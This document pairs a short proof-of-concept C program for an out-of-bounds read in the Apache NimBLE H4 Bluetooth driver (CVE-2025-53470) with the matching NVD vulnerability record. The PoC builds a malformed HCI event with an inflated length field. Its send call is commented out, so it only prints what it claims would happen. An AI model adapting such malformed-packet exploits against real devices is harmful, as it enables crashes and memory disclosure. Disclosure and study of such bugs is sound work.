CVE-2025-53470

// PoC for CVE-2025-53470: Apache NimBLE H4 Out-of-bounds Read // This PoC demonstrates sending a malformed HCI event with mismatched parameter length #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // HCI Event packet header structure typedef struct { uint8_t event_code; // Event code uint8_t param_total_len; // Total parameter length from header } hci_event_header_t; // Function to simulate sending malformed HCI event to NimBLE H4 driver void send_malformed_hci_event(int fd, uint8_t event_code, uint8_t declared_len, uint8_t* actual_data, size_t actual_len) { uint8_t packet[256]; // H4 event packet type indicator packet[0] = 0x04; // HCI_EVENT_PKT type // Event header packet[1] = event_code; packet[2] = declared_len; // Declared length differs from actual // Copy actual data (shorter than declared length) if (actual_len > 0 && actual_data != NULL) { memcpy(&packet[3], actual_data, actual_len); } // Send packet to H4 driver // write(fd, packet, 3 + actual_len); printf("[+] Sending malformed HCI event: code=0x%02x, declared_len=%d, actual_len=%zu\n", event_code, declared_len, actual_len); printf("[+] This will trigger out-of-bounds read in NimBLE H4 driver\n"); } int main() { printf("=== CVE-2025-53470 PoC ===\n"); printf("Target: Apache NimBLE < 1.9 HCI H4 Driver\n"); printf("Vulnerability: Out-of-bounds Read via malformed HCI event\n\n"); // Example 1: Event with declared length > actual data uint8_t event_data[] = {0x01, 0x02}; // Only 2 bytes of actual data send_malformed_hci_event(0, 0xFF, 20, event_data, sizeof(event_data)); // Declare 20 bytes // The H4 driver will attempt to read 20 bytes starting from packet[3], // but only 2 bytes are available, causing OOB read printf("\n[+] Attack vector: Malicious Bluetooth controller sends HCI event\n"); printf("[+] Result: Driver reads %d bytes beyond allocated buffer\n", 20 - sizeof(event_data)); printf("[+] Impact: Potential information disclosure or crash\n"); return 0; }

{"cve": {"id": "CVE-2025-53470", "sourceIdentifier": "[email protected]", "published": "2026-01-10T10:15:50.493", "lastModified": "2026-01-14T17:38:48.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Read vulnerability in Apache NimBLE HCI H4 driver. Specially crafted HCI event could lead to invalid memory read in H4 driver.\n\nThis issue affects Apache NimBLE: through 1.8. \n\nThis issue requires a broken or bogus Bluetooth controller and thus severity is considered low.\n\nUsers are recommended to upgrade to version 1.9, which fixes the issue."}, {"lang": "es", "value": "Vulnerabilidad de lectura fuera de límites en el controlador HCI H4 de Apache NimBLE. Un evento HCI especialmente diseñado podría conducir a una lectura de memoria no válida en el controlador H4.\n\nEste problema afecta a Apache NimBLE: hasta la versión 1.8.\n\nEste problema requiere un controlador Bluetooth defectuoso o falso y, por lo tanto, la severidad se considera baja.\n\nSe recomienda a los usuarios actualizar a la versión 1.9, que corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:nimble:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.0", "matchCriteriaId": "DC033019-AA62-465E-AD0A-8018D8C89ED3"}]}]}], "references": [{"url": "https://github.com/apache/mynewt-nimble/commit/b973df0c6cf7b30efbf8eb2cafdc1ee843464b76", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://lists.apache.org/thread/32sm0944dyod4sdql77stgyw9xb2msc0", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/08/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}